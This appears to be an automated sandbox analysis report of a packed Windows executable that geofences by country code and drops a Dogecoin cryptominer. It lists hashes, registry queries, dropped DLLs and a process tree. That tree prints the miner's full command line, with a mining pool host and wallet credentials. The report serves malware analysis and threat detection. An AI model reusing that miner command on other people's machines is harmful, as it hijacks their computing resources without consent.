73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 14:20

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2280	b2e.exe
4728	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2904-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 2280	2904	batexe.exe	85
PID 2904 wrote to memory of 2280	2904	batexe.exe	85
PID 2904 wrote to memory of 2280	2904	batexe.exe	85
PID 2280 wrote to memory of 4732	2280	b2e.exe	86
PID 2280 wrote to memory of 4732	2280	b2e.exe	86
PID 2280 wrote to memory of 4732	2280	b2e.exe	86
PID 4732 wrote to memory of 4728	4732	cmd.exe	89
PID 4732 wrote to memory of 4728	4732	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Users\Admin\AppData\Local\Temp\6F92.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F92.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F92.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\72EE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6F92.tmp\b2e.exe

Filesize
20.0MB

MD5
ee31fd4bb21f0e3a479b41ac33852177

SHA1
0d0399bbd705628f75d19e968378f319323594c0

SHA256
a4218baf77b57b415473599b3c2ce54d1c7f57414a895876c5911ec353e32feb

SHA512
9a449faa2367e9f70b742759901a1a552179f83d98181f2e31d9a6c71a0ec7df2409a5573e9843ac01cd5c54b3a0f7042e43c6ddf076647ddcd8e4bdebc2ae35

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F92.tmp\b2e.exe

Filesize
7.7MB

MD5
7bab7dae88dc3b1a4239b32dd62c5774

SHA1
dd086a672fa79e39a78adbca1b2b25202b734a02

SHA256
919196f733efc776b49cb3e797a8e9cb4d6f576fce09c779b3439030bf7cbffd

SHA512
b2fc7516c138e78952c13ca4eae249dd1aadb0150632cf72288e4265b0e36392bb85c82826d9429cfb1405f62abbe0dd4feec99073bd3d673dc775f2823d9c7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F92.tmp\b2e.exe

Filesize
7.0MB

MD5
a7f82283df9a5c54fa42ab4c15ef346c

SHA1
76708fadf91990005b2af73ec7bdad05222a1b47

SHA256
468cf1193fc1def9061fff51dd7f174a3487c1ee48c1a57d756ee1b35b3b7cd5

SHA512
8d94220c8a27f9fabba572a892cf845b84ed40c85b3d09e60417693c24495fba669faca0d62d0dcedead9064925fe12f06a5ac5dec4b27965eae298408c9323a

Download Submit
C:\Users\Admin\AppData\Local\Temp\72EE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
4ba51089667cd8c67341b5a56764f8b9

SHA1
ea6e08f35e291db820f92fafa7d9c6afdd594479

SHA256
36ead973ad142c587f1bb8a9743764a656468ccd20745fd136e9715845a60db8

SHA512
c64a160a128d5fef5fcd8e79ac736f2eed7c800adea4d39d312f6e960af1b4aa3ae62d761bc03c19c19903545698def4133e54027a0f3d1d09a90e03d66848a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.9MB

MD5
b7192c6010ac5c61ecd90eed652bb5fa

SHA1
9c2dacaa5c2a67afff0bd70d37845ce23150a4d8

SHA256
c0416da40588f7c4011b592671e735c80164916073651eecb84672f0e23e90de

SHA512
d0397b44c74eba44c82c027b247655e65d5d01a90f5adc10cbf2183ca418ef294e26858bed965026aeb135db47aef0776e1558688e2b20ed29f885ed7d29f1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
a084a8631dcd517d641ef94cc72a65d5

SHA1
6c675f0dfbef06c4b9bd3556d2303ae986b902f4

SHA256
b664906f224b8981b2b3269218426467baa945702de228c5bbf5cc98b5a98345

SHA512
ce072583d6e02a7c58c050141cbb3b15158b06bf9abad439da4f53a9a6855911f5fa5ed5d9c72fdb721eb22cc60c88fc608e5f260670163c51cdbcae95159e54

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2280-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2280-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2904-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4728-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4728-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4728-46-0x00000000747F0000-0x0000000074888000-memory.dmp

Filesize
608KB

Download
memory/4728-47-0x00000000010C0000-0x0000000002975000-memory.dmp

Filesize
24.7MB

Download
memory/4728-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download